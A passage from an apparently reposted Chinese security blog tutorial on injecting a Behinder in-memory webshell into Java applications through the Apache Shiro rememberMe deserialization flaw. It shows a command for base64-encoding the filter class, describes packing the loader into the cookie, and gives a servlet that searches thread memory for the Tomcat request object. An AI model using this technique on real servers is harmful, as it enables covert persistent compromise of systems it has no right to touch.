利用shiro反序列化注入冰蝎内存马 (8)

image-20211218235628430

再使用如下命令得到class文件BehinderFilter.class的base64

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

rememberMe中放入通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据,classData传输BehinderFilter.class的base64,要记得进行一次url编码

image-20211219000221079

springboot+shiro环境下测试成功:

image-20211219124338914

而在shiro+tomcat环境下则会测试失败,原因在于MyClassLoader.java代码中,获取request对象是从Spring Boot上下文中获取,而tomcat+shiro环境中并没有spring boot上下文,导致request对象获取失败

image-20211219124609083

2)寻找request对象

怎么在tomcat中寻找到request对象呢,通过xray 技术博客中的Shiro RememberMe 漏洞检测的探索之路这篇文章给了我们思路,通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。其中可以使用c0y1 师傅写的 java-object-searcher ,一款内存对象搜索工具来辅助我们寻找。

下载java-object-searcher,把所有文件复制进tomcat的web项目中

image-20211219142456760

编写一个servlet,在其doGet方法中写入对应的查找逻辑

helloController.java

import josearcher.entity.Keyword; import josearcher.searcher.SearchRequstByBFS; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; public class helloController extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter writer = resp.getWriter(); writer.println("hello servlet!"); //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 List<Keyword> keys = new ArrayList<>(); Keyword.Builder builder = new Keyword.Builder(); builder.setField_type("nnn"); keys.add(new Keyword.Builder().setField_type("ServletRequest").build()); keys.add(new Keyword.Builder().setField_type("RequstGroup").build()); keys.add(new Keyword.Builder().setField_type("RequestInfo").build()); keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build()); keys.add(new Keyword.Builder().setField_type("Request").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); //打开调试模式 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("D:\\"); searcher.searchObject(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzgpzw.html